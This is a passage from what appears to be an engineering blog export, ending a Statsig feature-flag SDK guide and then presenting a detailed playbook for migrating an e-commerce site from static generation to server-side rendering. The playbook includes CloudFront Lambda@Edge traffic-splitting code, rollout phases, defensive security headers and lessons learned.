### Performance Metrics

**Key Metrics to Monitor:**

- **Evaluation Latency**: Should be <1ms for server SDKs
- **Cache Hit Rate**: Percentage of evaluations using cached configs
- **Sync Success Rate**: Percentage of successful config downloads
- **Error Rates**: Network failures, parsing errors, evaluation errors

## Security Considerations

### API Key Management

![Figure 16: Security Considerations - Multi-layered security approach with environment isolation](./figure-16-security-considerations-multi-layered-security-approach-with-environme.svg)

<figcaption>Figure 16: Security Considerations - Multi-layered security approach with environment isolation</figcaption>

```typescript title="key-management.ts"
// Environment-specific keys - never commit secrets
const statsigKey = process.env.NODE_ENV === "production" ? process.env.STATSIG_SECRET_KEY : process.env.STATSIG_DEV_KEY

const statsig = await Statsig.initialize(statsigKey)
```

### Data Privacy

**User Data Handling:**

- **PII Protection**: Never log sensitive user data
- **Data Minimization**: Only send necessary user attributes
- **Encryption**: All data transmitted over HTTPS/TLS

```typescript title="user-sanitization.ts"
// Minimize PII sent to Statsig - only include attributes needed for targeting
const sanitizedUser = {
  userID: user.id, // Required for assignment
  custom: {
    plan: user.plan, // Needed for plan-based targeting
    region: user.region, // Needed for geo-targeting
    // Never include: SSN, credit card, passwords, full addresses
  },
}
```

## Performance Benchmarks

### Evaluation Performance

**Server SDK Benchmarks:**

- **Cold Start**: ~50-100ms (first evaluation after initialization)
- **Warm Evaluation**: <1ms (subsequent evaluations)
- **Memory Usage**: ~10-50MB (depending on config size)
- **Throughput**: 10,000+ evaluations/second per instance

**Client SDK Benchmarks:**

- **Bootstrap Initialization**: <5ms (with pre-computed values)
- **Async Initialization**: 100-500ms (network dependent)
- **Cache Lookup**: <0.1ms
- **Bundle Size**: ~50-100KB (gzipped)

### Scalability Considerations

```typescript title="horizontal-scaling.ts"
// Shared config cache ensures consistent evaluation across instances
const redisAdapter = new RedisDataAdapter({
  host: process.env.REDIS_HOST,
  port: parseInt(process.env.REDIS_PORT),
})

const statsig = await Statsig.initialize("secret-key", {
  dataStore: redisAdapter,
  rulesetsSyncIntervalMs: 5000, // More frequent sync for consistency
})
```

## Best Practices and Recommendations

### 1. Initialization Strategy Selection

**Choose Bootstrap Initialization When:**

- UI flicker is unacceptable
- Server-side rendering is available
- Performance is critical

**Choose Async Initialization When:**

- Real-time updates are required
- Server-side rendering isn't available
- Some rendering delay is acceptable

### 2. Configuration Management

```typescript title="statsig-singleton.ts" collapse={1-7}
// Singleton pattern for centralized configuration
class StatsigConfig {
  private static instance: StatsigConfig
  private statsig: Statsig | null = null

  static async getInstance(): Promise<StatsigConfig> {
    if (!StatsigConfig.instance) {
      StatsigConfig.instance = new StatsigConfig()
      await StatsigConfig.instance.initialize()
    }
    return StatsigConfig.instance
  }

  private async initialize() {
    this.statsig = await Statsig.initialize(process.env.STATSIG_SECRET_KEY!, {
      environment: { tier: process.env.NODE_ENV },
    })
  }

  getStatsig(): Statsig {
    if (!this.statsig) throw new Error("Statsig not initialized")
    return this.statsig
  }
}
```

### 3. Testing Strategies

```typescript title="feature-flag.test.ts" collapse={1-9}
// Unit testing with local mode - no network requests
describe("Feature Flag Tests", () => {
  let statsig: Statsig

  beforeEach(async () => {
    statsig = await Statsig.initialize("secret-key", {
      localMode: true, // Disables all network calls
    })
  })

  test("should enable feature for specific user", () => {
    // Override returns specified value for this user
    statsig.overrideGate("new_feature", true, "test-user")

    const result = statsig.checkGate({ userID: "test-user" }, "new_feature")
    expect(result).toBe(true)
  })
})
```

### 4. Production Deployment

**Pre-deployment Checklist:**

- [ ] Configure appropriate data stores (Redis, etc.)
- [ ] Set up monitoring and alerting
- [ ] Implement proper error handling
- [ ] Test override systems
- [ ] Validate configuration synchronization
- [ ] Performance testing under load

**Rollout Strategy:**

1. **Development**: Use local mode and overrides
2. **Staging**: Connect to staging Statsig project
3. **Production**: Gradual rollout with monitoring
4. **Monitoring**: Watch error rates and performance metrics

## Conclusion

Statsig's architecture reflects deliberate trade-offs for high-scale experimentation:

**Server SDK**: Downloads complete config specs and evaluates locally in <1ms. Best for latency-sensitive backends where you control the environment.

**Client SDK**: Receives pre-computed evaluations to avoid exposing business logic. Best for browsers/mobile where you can't trust the client.

**Bootstrap pattern**: Server pre-computes evaluations and embeds them in HTML. Eliminates client network requests and UI flicker—the recommended approach for SSR frameworks like Next.js.

**Data adapters**: Implement the `DataAdapter` interface (get/set/initialize/shutdown) to add Redis or other caching layers for cold start resilience in serverless environments.

The deterministic SHA-256 hashing with experiment-specific salts ensures consistent user bucketing across platforms. Given the same user ID and experiment state, all SDKs return identical results—critical for cross-platform consistency in mobile/web applications.

## References

- [Statsig Documentation](https://docs.statsig.com/) - Official Statsig documentation
- [Statsig JavaScript Client SDK](https://docs.statsig.com/client/javascript-sdk) - Browser SDK documentation
- [Statsig Node.js Server SDK](https://docs.statsig.com/server/node-sdk) - Node.js SDK documentation
- [How SDK Evaluation Works](https://docs.statsig.com/sdks/how-evaluation-works) - SHA-256 hashing and bucket assignment algorithm
- [Data Stores / Data Adapter](https://docs.statsig.com/server/concepts/data_store) - Custom DataAdapter interface implementation
- [Feature Gates Documentation](https://docs.statsig.com/feature-gates/working-with) - Feature flag implementation guide
- [Experiments Documentation](https://docs.statsig.com/experiments) - A/B testing and experimentation guide
- [Bootstrap Initialization](https://docs.statsig.com/client/concepts/bootstrap) - Server-side rendering integration patterns

---

## E-commerce SSG to SSR Migration: Strategy and Pitfalls

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/platform-migrations/ecommerce-ssg-to-ssr-migration
**Category:** Platform Engineering / Platform Migrations
**Description:** This comprehensive guide outlines the strategic migration from Static Site Generation (SSG) to Server-Side Rendering (SSR) for enterprise e-commerce platforms. Drawing from real-world implementation experience where SSG limitations caused significant business impact including product rollout disruptions, ad rejections, and marketing campaign inefficiencies, this playbook addresses the critical business drivers, technical challenges, and operational considerations that make this architectural transformation essential for modern digital commerce.Your marketing team launches a campaign at 9 AM. By 9:15, they discover the featured product shows yesterday’s price because the site rebuild hasn’t completed. By 10 AM, Google Ads has rejected the campaign for price mismatch. This scenario—and dozens like it—drove our migration from SSG to SSR. The lessons learned section documents our missteps—including a mid-project pivot from App Router to Pages Router—that shaped the final approach.

# E-commerce SSG to SSR Migration: Strategy and Pitfalls

This comprehensive guide outlines the strategic migration from Static Site Generation (SSG) to Server-Side Rendering (SSR) for enterprise e-commerce platforms. Drawing from real-world implementation experience where SSG limitations caused significant business impact including product rollout disruptions, ad rejections, and marketing campaign inefficiencies, this playbook addresses the critical business drivers, technical challenges, and operational considerations that make this architectural transformation essential for modern digital commerce.

Your marketing team launches a campaign at 9 AM. By 9:15, they discover the featured product shows yesterday's price because the site rebuild hasn't completed. By 10 AM, Google Ads has rejected the campaign for price mismatch. This scenario—and dozens like it—drove our migration from SSG to SSR. The lessons learned section documents our missteps—including a mid-project pivot from App Router to Pages Router—that shaped the final approach.

<figure>

![High-level architecture comparison: SSG's build-time approach vs SSR's request-time rendering, with the Strangler Fig pattern enabling gradual traffic migration between platforms](./high-level-architecture-comparison-ssg-s-build-time-approach-vs-ssr-s-request-ti.svg)

<figcaption>High-level architecture comparison: SSG's build-time approach vs SSR's request-time rendering, with the Strangler Fig pattern enabling gradual traffic migration between platforms</figcaption>

</figure>

## Terminology

| Term | Definition                                                                        |
| ---- | --------------------------------------------------------------------------------- |
| SSG  | Static Site Generation — HTML generated at build time, served from CDN            |
| SSR  | Server-Side Rendering — HTML generated on each request by the server              |
| CDN  | Content Delivery Network — edge servers caching and serving content globally      |
| CLS  | Cumulative Layout Shift — Core Web Vital measuring visual stability               |
| LCP  | Largest Contentful Paint — Core Web Vital measuring perceived load speed          |
| INP  | Interaction to Next Paint — Core Web Vital measuring interactivity responsiveness |
| TTFB | Time to First Byte — time from request to first byte of response                  |
| CTR  | Click-Through Rate — ratio of clicks to impressions in advertising                |
| ROAS | Return on Ad Spend — revenue generated per dollar spent on advertising            |

## TLDR

**SSG-to-SSR migration** is a strategic architecture transformation that addresses fundamental limitations of build-time static generation for dynamic e-commerce platforms, enabling real-time content updates, zero-CLS personalization, and independent content/code lifecycles.

### Why Migrate from SSG

- **Build-time bottlenecks**: Full site rebuilds for every change create unacceptable delays for marketing teams
- **Content-code coupling**: Code rollbacks also roll back content, causing 404 errors and lost marketing spend
- **CLS issues**: Dynamic content (pricing, inventory) "pops in" after static shell loads, hurting Core Web Vitals
- **Ad rejections**: Static pricing mismatches between cached HTML and client-side updates trigger Google Ads violations

### SSR Benefits for E-commerce

- **Request-time rendering with CDN caching**: Server renders fresh content, CDN caches based on cache headers for performance
- **Edge middleware**: Zero-CLS A/B testing and personalization via URL rewrites at the edge
- **Cache invalidation**: CMS webhooks trigger CDN cache purges for immediate content updates
- **Content decoupling**: Marketing teams publish independently without engineering coordination

### Strangler Fig Migration Pattern

- **Gradual replacement**: Route X% of traffic to SSR while maintaining SSG for the rest
- **Instant rollback**: Adjust traffic distribution in minutes via edge middleware configuration
- **Risk mitigation**: Issues affect only a subset of users during phased rollout
- **Platform A/B testing**: Direct performance comparison between old and new systems

### Key Success Metrics

- **[Core Web Vitals](https://web.dev/articles/vitals) targets**: LCP < 2.5s, CLS < 0.1, INP < 200ms
- **Content publishing time**: Reduce from ~15 minutes to < 30 seconds
- **Business metrics**: Maintain or improve conversion rates, CTR, and ROAS throughout migration
- **Rollback triggers**: Quantitative thresholds (e.g., >10% drop in add-to-cart rate) for automatic decisions

## Part 1: The Strategic Imperative - Building the Business Case for Migration

While our specific journey involved migrating from Gatsby.js to Next.js, the principles and strategies outlined here apply to any SSG-to-SSR migration. The guide covers stakeholder alignment, risk mitigation, phased execution using platform A/B testing, and post-migration optimization, providing a complete roadmap for engineers undertaking this transformative journey.

The TLDR above summarizes the core drivers. This section provides the detailed evidence and quantified business impact that supports the migration case.

### The Business Impact of SSG Limitations - Real-World Production Experience

**Critical Business Problems from Actual Implementation**

Based on real production experience with our SSG implementation, several critical issues emerged that directly impacted revenue and operational efficiency:

- **Product Rollout Disruptions**: SSG bundles code and content as one snapshot, meaning any code issue requiring rollback also removes newly launched products, resulting in 404 errors and lost marketing spend. Fix-forward approaches take 2+ hours, during which email campaigns and marketing spend are wasted on broken product pages.

- **Product Retirement Complexity**: Retired products require external redirection management via Lambda functions, creating inconsistencies between redirects and in-app navigation, leading to poor user experience and potential SEO issues.

- **Ad Rejection Issues**: Static pricing at build time creates mismatches between cached HTML and client-side updates, leading to Google Ads rejections. The workaround of using `img.onError` callbacks and `data-pricing` attributes for DOM manipulation before React initialization is fragile and unsustainable.

- **Marketing Campaign Limitations**: Inability to optimize campaigns based on real-time inventory status, with all products appearing as "In Stock" in cached content. Client-side updates create CLS issues and poor user experience.

- **A/B Testing Scalability**: Page-level A/B testing becomes unfeasible due to template complexity and build-time constraints. Component-level A/B testing below the fold is possible but above-the-fold personalization affects SEO and causes CLS issues.

- **Personalization Constraints**: Above-the-fold personalization impossible without affecting SEO and causing CLS issues. Below-the-fold personalization requires client-side loading which impacts performance.

- **Responsive Design CLS Issues**: For content that differs between mobile and desktop, CLS is inevitable since build time can only generate one default version. Client-side detection and content switching creates layout shifts that negatively impact Core Web Vitals and user experience.

**Operational and Cost Issues**

- **Occasional Increased CloudFront Costs**: Home page launches with 200+ products caused ~10x cost for the day when content exceeded 10MB—[CloudFront's automatic compression limit](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/ServingCompressedFiles.html)—resulting in uncompressed transfers and higher egress costs.

- **Content-Code Coupling**: Marketing teams cannot publish content independently, requiring engineering coordination for simple banner updates and page launches.

- **Time-Based Release Complexity**: Managing multiple content changes for a single page becomes problematic when all changes must be published simultaneously.

### SSR as the Strategic Solution

**Dynamic Rendering for Modern Commerce**

SSR provides a flexible, dynamic rendering model that directly addresses each of these challenges:

- **Server-Side Rendering**: Enables real-time data fetching for dynamic content like pricing and inventory
- **CDN Caching with Cache Headers**: SSR responses cached at the edge based on `Cache-Control` headers, combining fresh rendering with CDN performance
- **Edge Middleware**: Enables sophisticated routing, personalization, and A/B testing decisions at the edge
- **API Routes**: Built-in backend functionality for handling forms, cart management, and third-party integrations

**Quantifiable Business Benefits**

The migration from SSG to SSR delivers measurable improvements across key business metrics:

- **CTR (Click-Through Rate)**: Expected 5-10% increase through faster load times, better personalization, and stable UI
- **ROAS (Return on Ad Spend)**: Projected 8-12% improvement from reduced CPC, higher conversion rates, and fewer ad rejections
- **Content Publishing Agility**: 50% reduction in time-to-market for new campaigns and promotions
- **Developer Productivity**: 20% increase in development velocity through modern tooling and flexible architecture
- **Operational Costs**: Elimination of CloudFront cost spikes and improved resource utilization

## Part 2: Stakeholder Alignment and Project Governance

### Building Executive Buy-In

**The CFO Conversation**

Frame the migration as an investment with clear ROI:

- Direct revenue impact through improved conversion rates and reduced ad spend
- Operational cost reduction through faster content publishing and reduced developer dependencies
- Predictable hosting costs through modern serverless architecture
- Elimination of CloudFront cost spikes from large content deployments

**The CMO Conversation**

Emphasize marketing agility and performance:

- Rapid campaign launches without engineering bottlenecks
- Robust A/B testing without negative UX impact
- Superior SEO outcomes and organic traffic growth
- Real-time personalization capabilities
- Independent content publishing workflow

**The CTO Conversation**

Position as strategic de-risking:

- Moving away from architectural constraints toward industry-standard patterns
- Mitigating hiring challenges and improving developer retention
- Positioning technology stack for future innovation
- Reducing technical debt and operational complexity
- Solving critical production issues affecting revenue

### Assembling the Migration Task Force

**Core Team Structure**

- **Project Lead**: Ultimate ownership of technical vision and project success
- **Frontend Engineering Team**: Core execution team for component migration and new implementation
- **Backend/API Team**: Ensures backend services support SSR requirements
- **DevOps/Platform Engineering**: Infrastructure setup and CI/CD pipeline management
- **SEO Specialist**: Critical role for maintaining organic traffic and search rankings
- **QA Team**: Comprehensive testing across all user journeys and performance metrics
- **Product and Business Stakeholders**: Representatives from marketing, merchandising, and product management

**Operating Model**

- **Agile Methodology**: Two-week sprints with daily stand-ups and regular demonstrations
- **Cross-Functional Collaboration**: Regular sync meetings across all stakeholders
- **Clear Decision-Making Authority**: Defined roles for technical, business, and go/no-go decisions

### Risk Assessment and Mitigation

**High-Priority Risks and Mitigation Strategies**

| Risk Category          | Description                                         | Likelihood | Impact   | Mitigation Strategy                                                 |
| ---------------------- | --------------------------------------------------- | ---------- | -------- | ------------------------------------------------------------------- |
| SEO Impact             | Loss of organic traffic due to incomplete redirects | High       | Critical | Dedicated SEO specialist from Day 1, comprehensive redirect mapping |
| Performance Regression | New site performs worse than SSG benchmark          | Medium     | Critical | Strict performance budgets, automated testing in CI/CD              |
| Timeline Delays        | Underestimating build-time logic complexity         | High       | High     | Early spike analysis, phased rollout approach                       |
| Checkout Functionality | Critical revenue-generating flow breaks             | Low        | Critical | Keep checkout on legacy platform until final phase                  |

**Risk Management Framework**

- **Avoid**: Alter project plan to eliminate risk entirely
- **Reduce**: Implement actions to decrease likelihood or impact
- **Transfer**: Shift financial impact to third parties
- **Accept**: Consciously decide to accept low-priority risks

## Part 3: Technical Migration Execution

### Phase 0: Pre-Migration Foundation

**Comprehensive Site Audit**

- **Full Site Crawl**: Using tools like Screaming Frog to capture all URLs, meta data, and response codes
- **High-Value Page Identification**: Cross-referencing crawl data with analytics to prioritize critical pages
- **Backlink Profile Analysis**: Understanding external linking patterns for redirect strategy

**Performance Benchmarking**

Establish quantitative baselines for:

- **Core Web Vitals**: LCP, INP, and CLS scores for key page templates
- **Load Performance**: TTFB and FCP metrics
- **SEO Metrics**: Organic traffic, keyword rankings, indexed pages
- **Business Metrics**: Conversion rates, average order value, funnel progression

**Environment Setup**

- **Repository Initialization**: New Git repo with SSR framework project structure
- **Staging Environment**: Preview environment with production parity
- **CI/CD Pipeline**: Automated testing, linting, and deployment workflows

### Phase 1: Foundational Migration

**Project Structure and Asset Migration**

- Adopt modern SSR framework directory structure
- Migrate static assets from SSG to SSR public directory
- Create global layout with shared UI components

**Component Conversion**

- **Internal Links**: Convert SSG-specific link components to SSR equivalents
- **Images**: Replace SSG image components with SSR-optimized alternatives
- **Styling**: Handle CSS-in-JS compatibility with modern rendering patterns
- **SEO Metadata**: Implement static metadata objects for site-wide and page-specific tags

**Static Page Migration**

Begin with low-complexity pages:

- About Us, Contact, Terms of Service, Privacy Policy
- Simple marketing landing pages
- Static content sections

### Phase 2: Dynamic Functionality Implementation

**Data Fetching Paradigm Shift**

- Replace SSG's build-time data sourcing with SSR's request-time fetching
- Implement dynamic route generation for content-driven pages
- Convert static data sourcing to server-side data fetching

**Rendering Strategy Selection**

- **SSG**: For infrequently changing content (blog posts, marketing pages)
- **SSR with CDN caching**: For product pages requiring data freshness (pricing, inventory) with cache headers controlling TTL
- **SSR (no cache)**: For user-specific data (account dashboards, order history)
- **CSR**: For highly interactive components within rendered pages

**API Route Development**

- Form handling and submission processing
- Shopping cart state management
- Payment processor integration
- Third-party service communication

### Phase 3: Advanced E-commerce Features

**Zero-CLS A/B Testing Architecture**

The "rewrite at the edge" pattern delivers static performance with dynamic logic:

1. **Create Variants as Static Pages**: Pre-build each experiment variation
2. **Dynamic Route Generation**: Use SSR routing for variant paths
3. **Edge Middleware Decision Logic**: Implement experiment assignment and routing
4. **Transparent URL Rewriting**: Serve variants while maintaining user URLs

**Server-Side Personalization**

- Geo-location based content delivery
- User segment targeting
- Behavioral personalization
- Campaign-specific landing page variants

**Dynamic SEO and Structured Data**

- Real-time LD+JSON generation for accurate product information
- Dynamic canonical and hreflang tag management
- Core Web Vitals optimization through server-first rendering

### Phase 4: Content Decoupling Implementation

**On-Demand Revalidation Architecture**

- **CMS Webhook Integration**: Configure headless CMS to trigger revalidation
- **Secure API Route**: Verify authenticity and parse content change payloads
- **Cache Management**: Use revalidation APIs for targeted page updates
- **Independent Lifecycles**: Enable content and code teams to work autonomously

> **⚠️ Implementation Warning:** Real-time cache invalidation introduces race conditions with backend systems. If your product API lags behind CMS updates, SSR renders 404s for newly published products. See "Lessons Learned: Real-Time Content Updates Require Operational Readiness" for our solution using versioned content releases.

**Benefits of True Decoupling**

- Content updates publish in seconds, not minutes
- No engineering dependencies for marketing changes
- Reduced risk of content-code conflicts
- Improved team productivity and autonomy

## Part 4: The Strangler Fig Pattern - Phased Rollout Strategy with Platform A/B Testing

### Why Not "Big Bang" Migration?

A single cutover approach is unacceptably risky for mission-critical e-commerce platforms. The Strangler Fig pattern enables incremental migration with continuous value delivery and risk mitigation.

**Architecture Overview**

- **Routing Layer**: Edge middleware directing traffic between legacy and new systems
- **Gradual Replacement**: Piece-by-piece migration of site sections
- **Immediate Rollback**: Simple configuration changes for issue resolution
- **Platform A/B Testing**: Serve X% of users from SSR while maintaining SSG for others

### Platform A/B Testing Implementation

**Traffic Distribution Strategy**

The platform A/B approach allows for controlled, gradual migration:

- **User Segmentation**: Route users based on user ID hash, geographic location, or other deterministic criteria
- **Traffic Percentage Control**: Start with 5% of users on SSR, gradually increase to 100%
- **Real-Time Monitoring**: Track performance metrics for both platforms simultaneously
- **Instant Rollback**: Switch traffic back to SSG within minutes if issues arise

**Implementation Details**

Our implementation used AWS CloudFront with Lambda@Edge functions at three trigger points: Viewer Request, Origin Request, and Viewer Response. This architecture handles bucketing at the edge before requests reach either origin.

<figure>

![CloudFront Lambda@Edge flow: Viewer Request handles user identification and bucketing, Origin Request routes to the appropriate origin, and Viewer Response persists cookies](./cloudfront-lambda-edge-flow-viewer-request-handles-user-identification-and-bucke.svg)

<figcaption>CloudFront Lambda@Edge flow: Viewer Request handles user identification and bucketing, Origin Request routes to the appropriate origin, and Viewer Response persists cookies</figcaption>

</figure>

**Viewer Request Function** — Runs on every request before cache lookup:

```javascript title="viewer-request.js"
const BUCKET_CONFIG = {
  ssr: 25, // 25% to SSR
  ssg: 75, // 75% to SSG (default)
}

function handler(event) {
  const request = event.request
  const cookies = request.cookies || {}

  // Extract or generate userId
  let userId = cookies["userId"]?.value
  if (!userId) {
    userId = generateUUID()
  }

  // Check for existing bucket assignment
  let bucket = cookies["platform-ab"]?.value

  // New users: assign bucket based on random distribution
  if (!bucket) {
    const rand = Math.random() * 100
    bucket = rand < BUCKET_CONFIG.ssr ? "ssr" : "ssg"
  }

  // Pass bucket to origin-request via header
  request.headers["x-platform-bucket"] = { value: bucket }
  request.headers["x-user-id"] = { value: userId }

  return request
}
```

**Origin Request Function** — Runs on cache miss, selects origin:

```javascript title="origin-request.js" collapse={1-16}
// Lines 1-16: Origin configuration (collapsed)
const ORIGINS = {
  ssr: {
    domainName: "ssr-app.example.com",
    protocol: "https",
    port: 443,
    path: "",
    sslProtocols: ["TLSv1.2"],
  },
  ssg: {
    domainName: "ssg-bucket.s3.amazonaws.com",
    protocol: "https",
    port: 443,
    path: "",
    sslProtocols: ["TLSv1.2"],
  },
}

// Lines 17-27: Key routing logic (visible)
function handler(event) {
  const request = event.request
  const bucket = request.headers["x-platform-bucket"]?.value || "ssg"

  // Override origin based on bucket
  request.origin = { custom: ORIGINS[bucket] }

  // Required: update Host header to match new origin
  request.headers["host"] = { value: ORIGINS[bucket].domainName }

  return request
}
```

**Viewer Response Function** — Runs on every response, sets cookies:

```javascript title="viewer-response.js"
function handler(event) {
  const request = event.request
  const response = event.response

  const userId = request.headers["x-user-id"]?.value
  const bucket = request.headers["x-platform-bucket"]?.value

  // Set cookies for user persistence and bucket consistency
  const cookieOptions = "Path=/; Secure; SameSite=Lax; Max-Age=2592000" // 30 days

  response.cookies = response.cookies || {}
  response.cookies["userId"] = { value: userId, attributes: cookieOptions }
  response.cookies["platform-ab"] = { value: bucket, attributes: cookieOptions }

  return response
}
```

**Cache Policy Configuration** — Critical for correct bucketing:

The `platform-ab` cookie must be included in the CloudFront cache policy's cache key. Without this, users in different buckets would receive cached responses from the wrong origin. Configure the cache policy to include:

- **Cookies**: `platform-ab` (whitelist)
- **Headers**: None (or minimal for cache efficiency)
- **Query strings**: As needed for your application

> **Why cookies in cache key?** If user A (SSR bucket) requests `/product/123` and the response is cached, user B (SSG bucket) requesting the same URL would incorrectly receive the SSR-rendered page. Including `platform-ab` in the cache key creates separate cache entries per bucket.

**Benefits of Platform A/B Testing**

- **Risk Mitigation**: Issues affect only a subset of users
- **Performance Comparison**: Direct A/B testing of both platforms
- **Gradual Validation**: Build confidence before full migration
- **Business Continuity**: Maintain revenue while testing new platform

### Phased Rollout Plan

**Phase A: Low-Risk Content with Platform A/B (Weeks 1-4)**

- **Scope**: Blog, marketing pages, static content
- **Traffic Distribution**: 10% SSR, 90% SSG
- **Success Metrics**: LCP < 2.5s, organic traffic maintenance, keyword stability
- **Go/No-Go Criteria**: All P0/P1 bugs resolved, staging performance validated
- **Rollback Strategy**: Reduce SSR traffic to 0% if issues arise

**Phase B: Core E-commerce with Increased Traffic (Weeks 5-8)**

- **Scope**: Product Detail Pages with SSR and CDN caching
- **Traffic Distribution**: 25% SSR, 75% SSG
- **Success Metrics**: CLS < 0.1, add-to-cart rate maintenance, conversion stability
- **Approach**: Monitor business metrics closely, adjust traffic distribution based on performance
- **Rollback Trigger**: >10% drop in add-to-cart rate for 24 hours

**Phase C: High-Complexity Sections (Weeks 9-12)**

- **Scope**: Category pages, search functionality, checkout flow
- **Traffic Distribution**: 50% SSR, 50% SSG
- **Success Metrics**: TTFB < 400ms, funnel progression rates, error rates
- **Approach**: Sequential migration with extensive testing
- **Rollback Trigger**: Critical bugs affecting >5% of users

**Phase D: Final Migration and Legacy Decommissioning (Week 13+)**

- **Scope**: Complete migration and infrastructure cleanup
- **Traffic Distribution**: 100% SSR, 0% SSG
- **Success Criteria**: 100% traffic on new platform, stable performance for one business cycle
- **Final Steps**: Remove edge middleware, decommission SSG infrastructure

### Rollback Strategy

**Immediate Response Protocol**

- **Configuration Change**: Update edge middleware to route problematic paths back to legacy
- **Execution Time**: Minutes, not hours or days
- **Clear Triggers**: Quantitative thresholds for automatic rollback decisions
- **Communication**: Immediate stakeholder notification and status updates

**Platform A/B Rollback Benefits**

- **Instant Traffic Control**: Adjust SSR percentage from 0% to 100% in real-time
- **Granular Control**: Rollback specific user segments or geographic regions
- **Performance Monitoring**: Compare both platforms side-by-side during issues
- **Business Continuity**: Maintain revenue while resolving technical problems

## Part 5: Security and Performance Considerations

### Security Hardening for SSR

**HTTP Security Headers Implementation**

- **Content Security Policy**: Restrict resource origins and prevent XSS attacks
- **Strict Transport Security**: Force HTTPS and prevent downgrade attacks
- **Frame Ancestors**: Prevent clickjacking through CSP directives
- **Referrer Policy**: Minimize information leakage to external domains

**Framework-Specific Security Measures**

- **SSR Framework Hardening**: Enable strict mode, implement security headers API
- **Edge Function Security**: Runtime isolation and minimal permissions
- **API Route Protection**: Authentication, rate limiting, and input validation

**Attack Vector Mitigation**

| Attack Type     | SSR Risk Level | Primary Defenses              |
| --------------- | -------------- | ----------------------------- |
| Reflected XSS   | High           | CSP nonces, template encoding |
| CSRF            | High           | SameSite cookies, CSRF tokens |
| Clickjacking    | High           | frame-ancestors directive     |
| Cache Poisoning | Medium         | Proper Vary headers, WAF      |

### Performance Optimization

**Core Web Vitals Engineering**

- **LCP Optimization**: Priority loading for above-the-fold images, server-side rendering
- **INP Improvement**: Modern rendering patterns to reduce client-side JavaScript
- **CLS Prevention**: Server-side layout decisions, mandatory image dimensions

**Edge Performance Features**

- **Global CDN**: Worldwide content delivery with minimal latency
- **Edge Functions**: Logic execution close to users
- **Automatic Scaling**: Handle traffic spikes without performance degradation

**SSR Performance Considerations**

- **Throughput Optimization**: Start with 2 RPS, target 7+ RPS per pod
- **Deployment Stability**: Configure proper scaling parameters to prevent errors during scaling
- **BFF Integration**: Multi-team effort to move from cached to non-cached backend services

## Part 6: Success Measurement and Continuous Optimization

### The Unified Success Dashboard

**Multi-Layered KPI Framework**

- **Layer 1: Business Metrics**: Conversion rates, AOV, revenue per visitor
- **Layer 2: SEO Performance**: Organic traffic, keyword rankings, indexed pages
- **Layer 3: Web Performance**: Core Web Vitals, TTFB, FCP
- **Layer 4: Operational Health**: Error rates, build times, content publishing speed

**Recommended Instrumentation Stack**

- **Real User Monitoring (RUM):** Vercel Analytics, Datadog RUM, or New Relic Browser for Core Web Vitals from actual user sessions
- **Synthetic Monitoring:** Calibre, SpeedCurve, or Lighthouse CI for consistent baseline measurements
- **APM:** Instrument SSR functions with distributed tracing (Datadog APM, New Relic APM) to identify slow data fetches
- **Custom Metrics:** Track cache hit rates at CDN, SSR cold start frequency, and revalidation webhook latency

Key metrics to alert on: p95 TTFB > 800ms, cache hit rate < 90%, revalidation failures > 1% of requests.

**Key Performance Indicators**

| Metric Category         | Pre-Migration | Post-Migration Target | Business Impact                  |
| ----------------------- | ------------- | --------------------- | -------------------------------- |
| Overall Conversion Rate | 2.0%          | ≥ 2.1%                | Direct revenue increase          |
| CTR (Paid Campaigns)    | Baseline      | +5-10%                | Improved ad efficiency           |
| ROAS                    | Baseline      | +8-12%                | Better marketing ROI             |
| Content Publishing Time | ~15 minutes   | < 30 seconds          | Operational agility              |
| LCP (p75)               | 2.9s          | < 2.5s                | User experience improvement      |
| CloudFront Cost Spikes  | ~10x daily    | Eliminated            | Predictable infrastructure costs |

### Post-Launch Hypercare

**Real-Time Monitoring**

- **Dashboard Surveillance**: Daily monitoring of all KPI categories
- **Automated Alerts**: Configured for critical metric deviations
- **Issue Tracking**: Centralized logging and triage system

**Response Protocols**

- **Triage Lead**: Designated engineer for issue assessment and assignment
- **Priority Classification**: P0-P4 system for issue prioritization
- **Escalation Paths**: Clear communication channels for critical issues

### Continuous Platform Evolution

**Post-Migration Roadmap**

- **Experimentation Program**: Formal A/B testing framework and culture
- **Personalization Strategy**: Advanced user segmentation and targeting
- **Modern Rendering Patterns**: Progressive refactoring for performance optimization
- **Performance Tuning**: Ongoing optimization based on real user data

**Long-Term Benefits**

- **Business Agility**: Rapid response to market changes and competitive pressures
- **Innovation Velocity**: Faster feature development and deployment
- **Operational Efficiency**: Reduced maintenance overhead and improved reliability
- **Competitive Advantage**: Superior user experience and marketing effectiveness

## Lessons Learned: From Big Bang to Data-Backed Deployments

Our migration journey evolved significantly from the initial plan. What started as an ambitious big-bang release transformed into a phased, data-driven approach after encountering several hard-learned lessons.

### Lesson 1: Framework Familiarity Doesn't Guarantee Speed

**Initial Assumption**: Since both Gatsby and Next.js are React-based meta-frameworks, we assumed the migration would be straightforward and quick.

**Reality**: The migration took significantly longer than estimated. While the component code was largely portable, the differences in data fetching patterns, routing conventions, build configuration, and plugin ecosystems created unexpected complexity. Each framework has its own idioms, and "React-based" doesn't mean "interchangeable."

**Takeaway**: Budget for framework-specific learning curves even when the underlying technology stack appears similar. The devil is in the framework-specific details.

### Lesson 2: Separate Technology Migration from Behavior Changes

**What We Did Wrong**: During the migration, we attempted to simultaneously fix feature behaviors and implementation patterns that had been problematic in the old system. This seemed efficient—why migrate broken behavior?

**Why It Failed**: When analyzing post-migration metrics, we couldn't determine whether changes in conversion rates, engagement, or performance were due to:

- The Next.js migration itself
- The behavior changes we introduced
- The combination of both (which could be net negative if one improvement was offset by a regression)

This ambiguity forced us to roll back behavior changes and re-implement them separately, causing significant rework.

**Takeaway**: Keep technology migrations as pure as possible. A migration should produce functionally identical behavior on the new stack. Behavior changes should be separate, measurable experiments conducted after the migration stabilizes.

### Lesson 3: Start with Proven Patterns, Not Cutting-Edge Features

**Original Plan**: Deploy on App Router with streaming support and no caching—the most modern Next.js architecture available.

**Problems Encountered**:

1. **Unknown risks**: A big-bang release with streaming and no caching could have introduced performance or reliability issues that would be difficult to diagnose under production load
2. **Infrastructure load**: Without caching, every request hit the SSR servers, creating unpredictable scaling requirements
3. **Caching complexity**: We discovered that caching decisions required page-level data (product type, inventory status, personalization requirements) to determine appropriate TTLs
